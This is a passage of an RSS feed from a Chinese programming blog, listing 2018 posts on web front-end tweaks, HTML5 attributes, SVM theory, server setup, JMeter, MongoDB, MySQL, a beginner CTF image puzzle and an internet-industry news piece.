      <description>修改form缩放展开图标 &amp;lt;script&amp;gt; // 在引入js之前更改配置 var AdminLTEOptions = { boxWidgetOptions: { boxWidgetIcons: { //Collapse icon collapse: &#39;fa-angle-down&#39;, //Open icon open: &#39;fa-angle-right&#39;, //Remove icon remove: &#39;fa-times&#39; }, boxWidgetSelectors: { //Remove button selector remove: &#39;[data-widget=&#34;remove&#34;]&#39;, //Collapse button selector collapse: &#39;[data-widget=&#34;collapse&#34;]&#39; } } }; &amp;lt;/script&amp;gt; &amp;lt;script src=&#34;&amp;lt;%=basePath%&amp;gt;/adminlte/dist/js/app.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;&amp;lt;%=basePath%&amp;gt;/adminlte/dist/js/app.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 结合chart.js，显示图标，导出图片 chart.js 不提供任何方法来导出成图片格式。但是因为 chart.js 使用 Canvas 画布来构建图表，因此可以使用 Canvas 画布的功能来输出图表到图片。&#xA;&amp;lt;a id=&#34;link1&#34; download=&#34;CHARTJS.jpg&#34; class=&#34;btn btn-default btn-xs&#34;&amp;gt;&amp;lt;i class=&#34;fa fa-share-square-o &#34;&amp;gt;&amp;lt;/i&amp;gt;&amp;amp;nbsp;导出&amp;lt;/a&amp;gt; &amp;lt;div class=&#34;chart&#34;&amp;gt; &amp;lt;canvas id=&#34;lineChart&#34; style=&#34;height:250px&#34;&amp;gt;&amp;lt;/canvas&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; $(function () { var lineChartData = { labels: ${hours}, datasets: [ { label: &#34;</description>
    </item>
    <item>
      <title>H5属性变化2(表单属性autocomplete、autofocus、multiple和其他属性)</title>
      <link>https://bchobby.github.io/posts/937860a976c62177c17a882a4f4fb984/</link>
      <pubDate>Thu, 27 Sep 2018 10:33:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/937860a976c62177c17a882a4f4fb984/</guid>
      <description>autocomplete属性：默认on。退出之后输入内容消失，双击有记录。&#xA;&amp;lt;form action=&#34;9.html&#34; autocomplete=&#34;on&#34;&amp;gt; &amp;lt;input type=&#34;text&#34; name=&#34;text&#34;/&amp;gt; &amp;lt;input type=&#34;submit&#34;/&amp;gt; &amp;lt;/form&amp;gt; autocomplete可以放在form上面也可以放在input上面。&#xA;&amp;lt;form action=&#34;9.html&#34; autocomplete=&#34;on&#34;&amp;gt; &amp;lt;input type=&#34;text&#34; name=&#34;text&#34;/&amp;gt; &amp;lt;input type=&#34;email&#34; name=&#34;email&#34; autocomplete=&#34;off&#34;/&amp;gt; &amp;lt;input type=&#34;submit&#34;/&amp;gt; &amp;lt;/form&amp;gt; autofocus属性：不用用户按鼠标就可以直接聚焦。适用于所有&amp;lt;input&amp;gt;标签的类型。&#xA;&amp;lt;input type=&#34;text&#34; name=&#34;text&#34; autofocus=&#34;autofocus&#34;/&amp;gt; multiple属性：输入域中可选择多个值。适用于Email和file.&#xA;&amp;lt;input type=&#34;file&#34; multiple=&#34;multiple&#34;/&amp;gt;&amp;lt;!--可以上传多个文件--&amp;gt; &amp;lt;input type=&#34;email&#34; name=&#34;email&#34; multiple=&#34;multiple&#34;/&amp;gt;&amp;lt;!--可以加多个Email，用;隔开--&amp;gt; placeholder属性：适用于&amp;lt;input&amp;gt;标签type属性值为text、search、url、tele、email、password。&#xA;required属性：适用于&amp;lt;input&amp;gt;标签type属性值为text、search、url、tele、email、password、date pickers、number、checkbox、radio、file。&#xA;其他属性： 链接属性：&#xA;sizes:&#xA;&amp;lt;!--根据不同的分辨率引用不同的size来控制清晰度--&amp;gt; &amp;lt;link rel=&#34;icon&#34; href=&#34;icon.gif&#34; type=&#34;image/gif&#34; size=&#34;16*16&#34;/&amp;gt;&amp;lt;!--gif、png、gif--&amp;gt; target:&#xA;&amp;lt;!--base标签写在&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;标签内--&amp;gt; &amp;lt;base href=&#34;http://localhost/&#34; target=&#34;_blank&#34;/&amp;gt;&amp;lt;!--不加target属性默认_self--&amp;gt; 超链接：&#xA;a:media=&#34;&#34;(表示对设备进行优化，handheld对“手持”设备进行支持，tv对“电视”设备进行支持)&#xA;a:hreflang=&#34;zh&#34;(设置语言，这里设置的是中文)&#xA;a:rel=&#34;external&#34;(设置超链接的引用，外部链接)&#xA;script标签的属性：&#xA;defer:加载完脚本后并不执行，而是等整个页面加载完之后再执行。只能在IE浏览器下运行。&#xA;&amp;lt;script defer=&#34;defer&#34; src=&#34;URL&#34;&amp;gt;&amp;lt;/script&amp;gt; async:记载完脚本后立刻执行，不用等整个页面都加载完，属于异步执行。兼容一切主流的浏览器。&#xA;&amp;lt;script async=&#34;async&#34; src=&#34;URL&#34;&amp;gt;&amp;lt;/script&amp;gt; ol:有序列表。&#xA;start:从几开始。reversed倒序。</description>
    </item>
    <item>
      <title>支持向量机的原理</title>
      <link>https://bchobby.github.io/posts/2c095efa00b43cb6c1484d72b117458e/</link>
      <pubDate>Wed, 26 Sep 2018 20:31:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c095efa00b43cb6c1484d72b117458e/</guid>
      <description>一、什么是支持向量机&#xA;支持向量机(support vector machine，简称SVM)是一种基于统计学习理论的新型学习机，是由前苏联教授Vapnik最早提出的。与传统的学习方法不同，支持向量机是结构风险最小化方法的近似实现。这个归纳原理是基于这样的事实，学习机器在测试数据上的误差率(即泛化误差率)以训练误差率和一个依赖于Vc维数(Vapnik-Chervonenkis dimension)的项的和为界；在可分模式情况下，支持向量机对于前一项的值为零，并且使第二项最小化。因此，尽管支持向量机不利用问题的领域知识，在模式分类问题上，仍能提供好的泛化性能，这个属性是支持向量机特有的。其实现的是如下的思想：通过某种事先选择的非线性映射将输入向量x映射到一个高维特征空间z，在这个空间中构造最优分类超平面，从而使正例和反例样本之间的分离界限达到最大。从概念上说，支持向量是那些离决策平面最近的数据点，它们决定了最优分类超平面的位置。&#xA;二、支持向量机的原理&#xA;超平面和最近的数据点之间的间隔被称为分离边缘，用P表示。支持向量机的目标是找到一个特殊的超平面，对于这个超平面分离边缘P最大。在这个条件下，决策曲面称为最优超平面。下图是二维输入空间中最优超平面的几何结构。&#xA;基本上，支持向量机的思想建立在两个数学运算上，概述如下&#xA;1) 输入向量到高维特征空间的非线性映射，特征空间对输入和输出都是隐藏的&#xA;2) 构造一个最优超平面用于分离在上一步中发现的特征。&#xA;三、支持向量机的算法&#xA;比较经典的如&#xA;1）Vapnik提出的Chunking方法；其出发点是删除矩阵中对应Lagrange乘数为零的行和列将不会影响最终结果，然而，在训练集的支持向量数很大的时候，Chunking算法仍然无法将矩阵放入内存中。&#xA;2）Qsuna提出的Qsuna算法；该算法存在效率问题，因为在每一步中，进行一次QP问题的最优化只能使一个样本符合Kuhn-Tucker条件。&#xA;3）Plat提出的序贯最小优化方法(sequential minimal optimization，简称SMO)；将一个大型的QP问题分解为一系列最小规模的QP子问题，即仅具有两个Lagrange乘数的QP问题，从而使得原问题可以通过分析的方法加以解决，避免了在内循环中使用数值算法进行QP最优化。该算法在训练线性SVM时，可以获得非常好的性能。&#xA;四、支持向量机的几种内积核函数&#xA;1）多项式学习机&#xA;2）径向基函数网络&#xA;3）两层感知器</description>
    </item>
    <item>
      <title>前端处理后台传来的图片流</title>
      <link>https://bchobby.github.io/posts/be84c891a204ea71a0ce82df3c38b6a0/</link>
      <pubDate>Tue, 25 Sep 2018 17:36:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be84c891a204ea71a0ce82df3c38b6a0/</guid>
      <description>前端处理后台传来的图片流直接在img标签的src中写入请求路径+参数</description>
    </item>
    <item>
      <title>Debian安装Apache和PHP</title>
      <link>https://bchobby.github.io/posts/7407d976ff6849320f6e23ef7f04bf99/</link>
      <pubDate>Tue, 25 Sep 2018 14:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7407d976ff6849320f6e23ef7f04bf99/</guid>
      <description>2019独角兽企业重金招聘Python工程师标准&amp;gt;&amp;gt;&amp;gt; 准备&#xA;养成习惯，先更新列表&#xA;sudo apt-get update sudo apt-get dist-upgrade apache&#xA;直接用 apt安装&#xA;sudo apt-cache search apache | grep &#39;apache2&#39; 找到程序名，安装&#xA;sudo apt-get install apache2 安装好后开服务&#xA;sudo service apache2 start 在浏览器中输入地址，看到以下页面说明apache成功安装&#xA;php&#xA;apt-get install php5-fpm php5-memcache php5-mysql 完成后输入&#xA;php -version 查看是否安装成功&#xA;这里注意一下，最好是先安装apache再安装php，这样php在安装的时候会连apache所要的文件一并安装。&#xA;到这里apache与php的安装结束。&#xA;转载于:https://my.oschina.net/ZhenyuanLiu/blog/2208366</description>
    </item>
    <item>
      <title>Eclipse - 更换新的工作空间后，怎么把上一个工作空间的配置复制过来</title>
      <link>https://bchobby.github.io/posts/2ac0a729eaf0b17e4b4e2c4b1bc1a10c/</link>
      <pubDate>Tue, 25 Sep 2018 10:11:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ac0a729eaf0b17e4b4e2c4b1bc1a10c/</guid>
      <description>有两个方案：&#xA;1. 创建新的工作目录后，直接把上一个工作空间的 .metadata 文件夹拷贝过来，覆盖当前的对应位置&#xA;2. 在 eclipse 中切换工作空间时，选择File --&amp;gt; Workspace --&amp;gt; other... ,再打开的对话框中，点击 copy settings , 勾选两个选项即可拷贝配置到新的工作空间中去。</description>
    </item>
    <item>
      <title>LeetCode_5 最大子序和</title>
      <link>https://bchobby.github.io/posts/07b335bc69ec6f55c60cb6a98212e8b9/</link>
      <pubDate>Mon, 24 Sep 2018 23:52:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07b335bc69ec6f55c60cb6a98212e8b9/</guid>
      <description>题目&#xA;给定一个整数数组 nums ，找到一个具有最大和的连续子数组（子数组最少包含一个元素），返回其最大和。&#xA;示例&#xA;输入: [-2,1,-3,4,-1,2,1,-5,4], 输出: 6 解释: 连续子数组 [4,-1,2,1] 的和最大，为 6。 代码&#xA;class Solution:&#xA;def maxSubArray(self, nums):&#xA;&#34;&#34;&#34;&#xA;:type nums: List[int]&#xA;:rtype: int&#xA;&#34;&#34;&#34;&#xA;length = len(nums)&#xA;for i in range(1,length):&#xA;subMaxsum = max(nums[i] + nums[i-1],nums[i])&#xA;nums[i] = subMaxsum&#xA;return max(nums)&#xA;结果：</description>
    </item>
    <item>
      <title>Flask实现用户登录界面</title>
      <link>https://bchobby.github.io/posts/04de6c7ed5437ae6e5a04b233124ac13/</link>
      <pubDate>Mon, 24 Sep 2018 23:08:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04de6c7ed5437ae6e5a04b233124ac13/</guid>
      <description># coding:utf8 # 一 导入包，会话存储包、渲染模块和请求包 from flask import Flask,render_template,request,session app = Flask(__name__) # 实例化Flask，传递name # 构建一个web服务器，打印hello /world/ @app.route(&#34;/&#34;) # 设置路由(url分发器) # 完整的url 127.0.0.1:5000/ def Web(): #首页信息 #用户名登录成功保存在session里面 if &#39;username&#39; in session : return &#34;用户已经登录&#34; return &#34;登录失败...&#34; # 显示文本 @app.route(&#34;/context&#34;) def index(): #设置文本格式 return &#34;&amp;lt;h1 style=&#39;color:blue&#39;&amp;gt;Hello Web! --Flask&amp;lt;/h1&amp;gt;&#34; # 实现业务逻辑和展示相分离 @app.route(&#39;/login/&#39;,methods = [&#34;POST&#34;,&#34;GET&#34;]) #使用HTTP方法，GET：获取资源 POST:创建一个资源 def login(): #调用request里面的form表格获取username用户名信息 username = request.form.get(&#39;username&#39;) password = request.form.get(&#39;password&#39;) # 进行校验 if username == &#34;User&#34; and password == &#34;</description>
    </item>
    <item>
      <title>整数数组(3~900),长度为10万,,排序</title>
      <link>https://bchobby.github.io/posts/bfcdbafd4da41dad28200e43eefb61c9/</link>
      <pubDate>Mon, 24 Sep 2018 22:22:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bfcdbafd4da41dad28200e43eefb61c9/</guid>
      <description> 1 package Test;&#xD;2 3 import java.util.ArrayList;&#xD;4 import java.util.List;&#xD;5 import java.util.Random;&#xD;6 7 public class test {&#xD;8 /**&#xD;9 * 有一个整数数组,数组长度为10万,整数的范围位于3到900之间,请用Java实现时间复杂度尽可能低的排序算法(假设内存空间足够大)&#xD;10 * @param args&#xD;11 */&#xD;12 public static void main(String[] args) {&#xD;13 Random rand=new Random();&#xD;14 int max=900;&#xD;15 int min=3;&#xD;16 int arr[]=new int[10000];&#xD;17 List list=new ArrayList&amp;lt;&amp;gt;();&#xD;18 //生成数组&#xD;19 for(int i=0;i&amp;lt;10000;i++){&#xD;20 arr[i]=rand.nextInt(max)%(max-min+1)+min;&#xD;21 list.add(arr[i]);&#xD;22 }&#xD;23 list.sort(null);&#xD;24 }&#xD;25 } </description>
    </item>
    <item>
      <title>求两个数最大公因数的c语言程序</title>
      <link>https://bchobby.github.io/posts/80dddc6c8cdd0f8c27252a9bfb85cdb7/</link>
      <pubDate>Mon, 24 Sep 2018 20:39:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80dddc6c8cdd0f8c27252a9bfb85cdb7/</guid>
      <description>对于这个问题,我能想到的方法有三种:&#xA;①先找出这两个数中最小的那个,可以用i表示,然后用这两个数依次对i取余. 同时i不断减1,直到这两个数对i取余都为0;这时的i就为最大公因数&#xA;程序如下:&#xA;#define _CRT_SECURE_NO_WARNINGS #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; int main(){ int a = 0; int b = 0; int i = 0; printf(&#34;输入 a b:&#34;); scanf(&#34;%d%d&#34;, &amp;amp;a, &amp;amp;b); if (a &amp;gt; b){ i = b; } else i = a; while (a%i != 0 || b%i != 0){ i--; } printf(&#34;最大公因数为%d\n&#34;, i); system(&#34;pause&#34;); return 0; } ②辗转相除法:用其中一个数除以另外那个数,再用除数除以得到的余数,重复这个过程,直到余数为0.余数为0的等式中那个除数就是最大公因数.&#xA;程序如下:&#xA;#define _CRT_SECURE_NO_WARNINGS #include&amp;lt;stdio.h&amp;gt; #include&amp;lt;stdlib.h&amp;gt; int main(){ int a = 0; int b = 0; int i = 1; printf(&#34;</description>
    </item>
    <item>
      <title>Jmeter教程(三) - Linux中使用命令行进行压测</title>
      <link>https://bchobby.github.io/posts/d6226342943cb17fef0e624cc1f085b0/</link>
      <pubDate>Mon, 24 Sep 2018 10:50:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d6226342943cb17fef0e624cc1f085b0/</guid>
      <description> Jmeter教程(一) - 入门&#xA;Jmeter教程(二) - 自定义变量模拟多用户&#xA;Jmeter教程(三) - Linux中使用命令行进行压测&#xA;本篇文章讲一下如何在linux上使用Jmeter进行压测。&#xA;1.Linux中安装Jmeter。 Jmeter安装包上传到Linux服务器并解压。&#xA;2.导出测试计划。 在Windows上先将测试计划配置好，然后导出为.jmx文件，这里命名为test.jmx。&#xA;3.将jmx文件上传到Linux服务器。 我这里在Jmeter安装目录下创建了一个文件夹MyTest存放jmx文件，方便管理。&#xA;4.运行压测。 使用jmeter.sh运行jmx文件，将压测结果输出到result.jtl文件中，命令如下。&#xA;sh ../bin/jmeter.sh -n -t test.jmx -l result.jtl 5.将result.jtl导入Windows中的Jmeter，即可查看压测结果。&#xA;PS&#xA;1.权限问题，报错如下：&#xA;jmeter: Permission denied 解决方法，给Jmeter安装目录授权，执行如下命令：&#xA;chmod -R 777 apache-jmeter-5.0 </description>
    </item>
    <item>
      <title>MongoDB主从集群、副本集与分片</title>
      <link>https://bchobby.github.io/posts/153d99ba803a16108df68306a81229f2/</link>
      <pubDate>Sun, 23 Sep 2018 19:14:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/153d99ba803a16108df68306a81229f2/</guid>
      <description>在实际生产中，为了防止数据丢失，我们需要搭建主从集群来同步数据；有时候当数据库中的数据量很大的时候，一台服务器无法存储，这时我们需要扩展多台机器来存储我们的数据，这时需要用到MongoDB的分片操作。&#xA;转发请标明原文地址：【原文链接】&#xA;一、主从复制 对于主从复制的原理，非常简单，简单的说就是几台机器之间进行同步操作，我们在主节点上操作数据，需要同步到其他子节点上。下面我们来实战一下。&#xA;首先创建一个cluster文件夹，然后在该文件夹中创建两个子文件夹master和slave分别存放主从节点的数据文件。&#xA;下面我们启动两台mongod服务器，主节点端口号为10000，从节点端口号为10001，首先启动主节点：&#xA;mongod --dbpath F:\mongodb-win32-x86_64-enterprise-windows-64-2.6.12\cluster\master --port 10000 --master 然后启动从节点，需要指定跟随的主节点地址：&#xA;mongod --dbpath F:\mongodb-win32-x86_64-enterprise-windows-64-2.6.12\cluster\slave --port 10001 --slave --source localhost:10000 主从节点启动之后，我们连接主节点，插入数据，会发现主节点同步数据到从节点：&#xA;二、副本集 副本集具有自动故障恢复的功能。&#xA;主从集群和副本集最大的区别就是副本集没有固定的“主节点”；整个集群会选出一个“主节点”，当其挂掉后，又在剩下的从节点中选中其他节点为“主节点”，副本集总有一个活跃点(primary)和一个或多个备份节点(secondary)。&#xA;创建一个cluster文件夹并创建node1,node2,node3三个子文件夹。&#xA;三个节点的配置信息如下：&#xA;节点1： HOST：localhost:10001 Data File：D:\mongodb\dbs\node1 节点2： HOST：localhost:10002 Data File：D:\mongodb\dbs\node2 节点3： HOST：localhost:10003 Data File：D:\mongodb\dbs\node3 分别使用下面命令启动三个节点：&#xA;#replSet参数指定副本集名称，后面初始化需要使用 mongod --dbpath D:\mongodb\dbs\node1 --port 10001 --replSet shinelon mongod --dbpath D:\mongodb\dbs\node2 --port 10002 --replSet shinelon mongod --dbpath D:\mongodb\dbs\node3 --port 10003 --replSet shinelon 启动之后会发现打印这样的错误日志：&#xA;replSet can&#39;t get local.system.replset config from self or any seed (yet) 这时候需要登录到任意一个节点中进行初始化操作：</description>
    </item>
    <item>
      <title>【学习笔之BugkuCTF】这是一张单纯的图片</title>
      <link>https://bchobby.github.io/posts/db30d189b8e01e2fff7cfca69851f75c/</link>
      <pubDate>Sat, 22 Sep 2018 17:50:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/db30d189b8e01e2fff7cfca69851f75c/</guid>
      <description> 【学习笔之BugkuCTF】这是一张单纯的图片 作为初入CTF的小萌新，看到CTF的第一题是一脸懵逼 点开这个链接后就给了这么一张图片. 显而易见，flag就在这张图片里面，可是就一张图有什么用呢？ 将这张图片另存为，再用winhex软件打开这张图片 我们看到这一堆代码的最后有一串能看的懂的代码。我们可以联想到Ascll 码 那么我们来试着翻译一下 最后可以发现就是我们要的flag ，翻译之后就是key{you are right} </description>
    </item>
    <item>
      <title>Jmeter教程(二) - 自定义变量模拟多用户</title>
      <link>https://bchobby.github.io/posts/f4b53dc5a73ca09799b91e5c828426b8/</link>
      <pubDate>Sat, 22 Sep 2018 16:47:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4b53dc5a73ca09799b91e5c828426b8/</guid>
      <description>Jmeter教程(一) - 入门&#xA;Jmeter教程(二) - 自定义变量模拟多用户&#xA;Jmeter教程(三) - Linux中使用命令行进行压测&#xA;在上一篇文章 Jmeter教程(一) - 入门 中介绍了Jmeter的基本用法。本文会继续介绍如何使用Jmeter对一个带参数的http请求进行压测，以及如何设置多个变量模拟多用户发送请求。&#xA;一、如何创建带参数的请求 1. 首先新建一个http请求。&#xA;2.设置请求路径，并添加参数。 如下图所示，Path中填写请求路径，点击Add添加参数，有一个名为token的参数。&#xA;至此给带参数请求已创建完成，点击运行即可开始压测。&#xA;二、如何模拟设置多个变量，模拟多个用户请求接口 1. 新建Csv Data Set Config设置。&#xA;2.新建配置文件config.txt，配置用户信息。 文件名随便写，里面数据每行有两个值，userId和userToken，中间用逗号隔开，我这里设置了两个用户的信息。&#xA;3.引用配置文件。 Csv Data Set Config中引用配置文件config.txt，并定义变量名为userId和userToken。&#xA;4.请求中引用配置文件中的变量。 在填写参数Value的地方不要将值写死，而是写为${变量名}这种格式，我这里想要引用配置文件中userToken的值，所以写为${userToken}。&#xA;至此配置完毕，点击运行按钮，即可开始压测。</description>
    </item>
    <item>
      <title>解决谷歌浏览器在F12情况下自动断点问题Paused in debugger</title>
      <link>https://bchobby.github.io/posts/d16962a6689cc4dc82c5b4624b2af133/</link>
      <pubDate>Sat, 22 Sep 2018 09:18:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d16962a6689cc4dc82c5b4624b2af133/</guid>
      <description>解决谷歌浏览器在F12情况下自动断点问题（Paused in debugger）&#xA;最近在使用谷歌浏览器在调试js脚本的时候，每次按F12，再刷新页面，都会跳出如上图所示的图标，自动进入断点调试。如果不想让它自动断点可以按一下3步去设置。&#xA;1.打开任何一个页面，按下F12，在弹出来的调试窗口找到“Sources&#34;;&#xA;2.在右边找到XHR/fetchBreakpoints,展开，把&#34;Any XHR or fetch&#34;的勾选去掉；&#xA;3.再把调试窗口右上角的圆圈“pause”点击置灰，完毕。</description>
    </item>
    <item>
      <title>MySQL数据库操作（五）——多表查询</title>
      <link>https://bchobby.github.io/posts/878c51491b40125f60bd096e25e608dd/</link>
      <pubDate>Fri, 21 Sep 2018 16:07:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/878c51491b40125f60bd096e25e608dd/</guid>
      <description>个人博客：haichenyi.com。感谢关注&#xA;合并结果集 union all(包含相同行)、union(去除相同行) 把查询的结果合并到一起。要求： 查询的结果列数相同，列类型相同&#xA;create table emp( eid int, ename varchar(50), eage int ); create table stu( sid int, sname varchar(50) ); //合并结果集（加上all，包含相同的行） select eid,ename from emp union all select * from stu; //合并结果集（去掉all，去除相同行） select eid,ename from emp union select * from stu; 连接查询 内连接 方言： select * from 表1,表2 where 条件&#xA;表a有三条数据：q，w，e 表b有两条数据：h，j select * from a,b; 得出的结果是表a与表b的笛卡尔集，也就是会得到6条数据， 分别：qh,qj,wh,wj,eh,ej 去除无用的笛卡尔集，加上where后面的条件 连表查询会有附表的外键=主表的主键这个条件 select * from student,teacher where student.</description>
    </item>
    <item>
      <title>拼多多 美团连续上市 互联网创业进入“土味时代”</title>
      <link>https://bchobby.github.io/posts/a2cf936cedc915295baf81950bb18ae3/</link>
      <pubDate>Fri, 21 Sep 2018 11:49:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2cf936cedc915295baf81950bb18ae3/</guid>
      <description>金秋九月，美团点评正式在香港挂牌，两个月前的一个炎日，纳斯达克亚太区主席亲手将上市手钟从美国送至上海中心，交给了拼多多的消费者敲钟代表。 美团和拼多多的挂牌，标志着巨头们在一线大城市的正面主战场鏖战多年之后，五环外的“田间地头”与一线城市的街弄巷尾成为了互联网新贵的“土味时代”主战场，背后重要的战略级投资人——腾讯也籍此在提升互联网支付、云计算等基础设施服务份额方面受益良多。&#xA;按照市值计，美团一声锣响，当天即超京东和小米，仅次于BAT，而拼多多刚刚在一周前一度跃至第六大互联网公司，市值超300亿美金。&#xA;腾讯财务与业务份额双丰收&#xA;拼多多2017年共完成43亿笔订单，而美团在同年完成的交易笔数逾58亿笔，平均每天数千万笔订单背后，腾讯迅速成为互联网长尾支付这一巨大市场的最大赢家。&#xA;经过8年发展，如今美团已经成为中国最大的互联网生活服务平台，拼多多经过3年发展，成为了仅次于阿里和京东的第三大电商平台，但这背后的数字与代价各有不同。近三年，美团累计亏损了300多亿人民币，而拼多多三年也付出了13.12亿的亏损代价。&#xA;据美团点评更新后的招股书显示，经调整后2018年前4个月净亏损20亿元人民币。此外，2015、2016、2017连续三年亏损105亿元、58亿元和189亿元人民币，经过调整之后的亏损为59亿元、53亿元、28亿元人民币。&#xA;拼多多在2016年净亏损为人民币2.92亿元，在2017年亏损为人民币5.251亿元。受大幅扩张市场的需要，拼多多在2018年Q1的销售与市场支出达到12.17亿元，平台单季发生2.01亿元人民币净亏损。也就是说拼多多创业三年多，截至2018年Q1累计亏损(含期权支出)为13.12亿元人民币。&#xA;三亿用户成为互联网新贵门槛&#xA;拼多多财报显示，其年活跃用户高达3.4亿，2018年6月30日披露的月活跃用户数已达1.95亿，客单价从385元翻倍至763元。而美团的招股书显示，2015年至2017年，美团点评年度交易用户数分别为2.06亿、2.59亿、3.1亿；每位交易用户平均每年的交易笔数分别为10.4笔、12.9笔、18.8笔。&#xA;阿里巴巴曾披露其电商板块年活跃用户已超过6亿，腾讯披露微信年活跃账户数达到9.89亿。虽然数据无法与巨头比肩，但美团和拼多多的财报显示，在新兴小巨头们的战场上，能否年服务逾3亿用户，成为了一道竞争的衡量门槛。&#xA;小巨头们仍维持了“超级增速”&#xA;9月20日，王兴敲响了创业15年以来的第一记钟声。“一锤子”下去，4000亿港币。按实时股价计算，美团成为中国第四大互联网公司，市值仅次于BAT。&#xA;招股书显示，成立8年的美团，依旧维持着高速增长。2017年，美团完成交易超过58亿笔，交易金额约3570亿元。其中，年度活跃商家为440万，年度交易用户数达到3.1亿。在线商家数量从2015年的300万增长至2017年的550万，同期活跃商家从66%升至80%。&#xA;外卖是美团增长最快的部分。Trustdata发布的《2018年上半年中国移动互联网行业发展分析报告》中，2018上半年，美团外卖占据了59%的外卖市场，超过饿了么与百度外卖的总和，而且还在以更高的增速增长。&#xA;2015到2017年，美团外卖的收入从1.75亿元增长到210.32亿元，复合增长率高达996.3%;外卖收入的高速增长，带动整个美团的收入从40亿元增长到339亿元。&#xA;活下沉到田间巷尾的生意&#xA;不论是外卖，还是其他业务，美团的杀手锏都是其令对手闻风丧胆的“地推”铁军。早年间，如何找到并掌控商家是王兴最头疼的事情，他为此拜访后来美团地推军的统领干嘉伟，对方给出的答案是：长出来的肉才是自己的肉，在别人身上挖一块肉贴在身上也长不成自己的肉。言外之意，美团需要建立自己的地推铁军。&#xA;那之后，美团杀入各大领域，开辟多条战场，唯独地推这件事从来没有放缓过。时至今日，有评论认为美团之所以能迅速干成很多事情，最关键点便在于其深入“街弄巷尾”的绞杀能力，而这一点，恰恰是很多互联网企业所不具备的。&#xA;美团执着于街头，拼多多则直接下沉到了田间地头。数据显示，拼多多的3.4亿用户中，过半来自四五六线和城镇地区。针对乡村地区，拼多多设计了农货“上行+下行”的完整链条。截至6月，拼多多一共销售了367万吨农货，能装满8万节火车皮，成为中国最大的农产品经销平台，共有4000万消费者催生了12亿笔农货订单。同时，针对乡村市场，拼多多也通过渠道服务他们的消费升级，形成一个增加收入——提升生活品质的闭环。&#xA;由此可见，如今的互联网创业已经沾满“土味”，田间地头与街弄巷尾成为互联网新贵主战场。&#xA;增长的烦恼&#xA;王兴认为，增速大于一切，他曾引用硅谷名言“Keep growing, fuck everything else(只有增长是重要的，其他一切都不重要)”来阐述美团的发展逻辑。在他看来，只要能保持高速增长，所有的问题都至少在短期内能够被容忍，被掩盖，或者不会爆发。可能很多问题当时是个问题，你长大十倍、百倍之后它就不是问题了，甚至不需要解决它就自然而然地消失了。&#xA;并非所有人都认同增速理论。拼多多的增速是中国大型互联网企业中最快的，但在近期，它却饱受负面舆情的困扰。&#xA;不过，从结果看，上市后集中爆发的舆情，不仅没有影响拼多多的增速，反而帮助这家公司快速升级。按照拼多多的说法，“所有人都在帮忙挑毛病，平台正以钉钉子精神挨个解决”，笔者用之前媒体关注时的各类“涉山寨”品牌关键词一一尝试，均已无法透出。&#xA;针对“山寨”问题，拼多多也陆续推出一系列举措，包括8月展开“双打行动”，下架了超过430万件商品;围绕品牌升级，拼多多推出品牌馆，整合了包括网易严选在内的多个品牌;针对整个行业可能普遍存在问题的散装纸尿裤等商品，拼多多直接“一刀切”，率先于行业全量下架……&#xA;重拳出击打假，是否会影响拼多多的增长速度，外界对此持有不同的看法。相关数据，在11月的第三季度财报上，应该会有所展现，这让人无比好奇且期待。&#xA;文/刘旷公众号，ID：liukuang110，本文首发旷创投网</description>
    </item>
    <item>
      <title>java去除字符串中空格的几种方法</title>
      <link>https://bchobby.github.io/posts/cae6385cfb44458fffb6f79ffc594d59/</link>
      <pubDate>Fri, 21 Sep 2018 10:42:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cae6385cfb44458fffb6f79ffc594d59/</guid>
      <description>1.去掉首尾空格：String.trim()；&#xA;2.去掉首尾、中间所有空格：String str1 = str.replaceAll(&#34; &#34;, &#34;&#34;); 或replaceAll(&#34; +&#34;,&#34;&#34;);&#xA;3.去掉大部分空白字符， 不仅仅是空格：String str2= str.replaceAll(&#34;\\s*&#34;, &#34;&#34;);</description>
    </item>
    <item>
      <title>完美解决：  VSCode  中文显示</title>
      <link>https://bchobby.github.io/posts/45d664e33d71eaad631d5bcfa7f82c90/</link>
      <pubDate>Thu, 20 Sep 2018 21:19:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45d664e33d71eaad631d5bcfa7f82c90/</guid>
      <description>首先打开VSCode&#xA;看到中间有一些提示的命令&#xA;选择第一条，即Ctrl+shift+P,弹出命令行，选择&#34;Configure Display Language&#34;（这里你可以输入一些关键词，比如Language）&#xA;弹出语言配置文件编辑界面，把从冒号开始的都删除，然后自己输入一个冒号，弹出的框里可以选择语言，这里选择简体中文&#xA;Ctrl+S保存后，关闭配置文件，然后点击左边栏的这个地方&#xA;输入Chinese&#xA;点击install&#xA;选择Yes，完成</description>
    </item>
    <item>
      <title>修改 vscode 默认的终端</title>
      <link>https://bchobby.github.io/posts/4f94c8412335a237532d756f2df9e16c/</link>
      <pubDate>Wed, 19 Sep 2018 18:50:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f94c8412335a237532d756f2df9e16c/</guid>
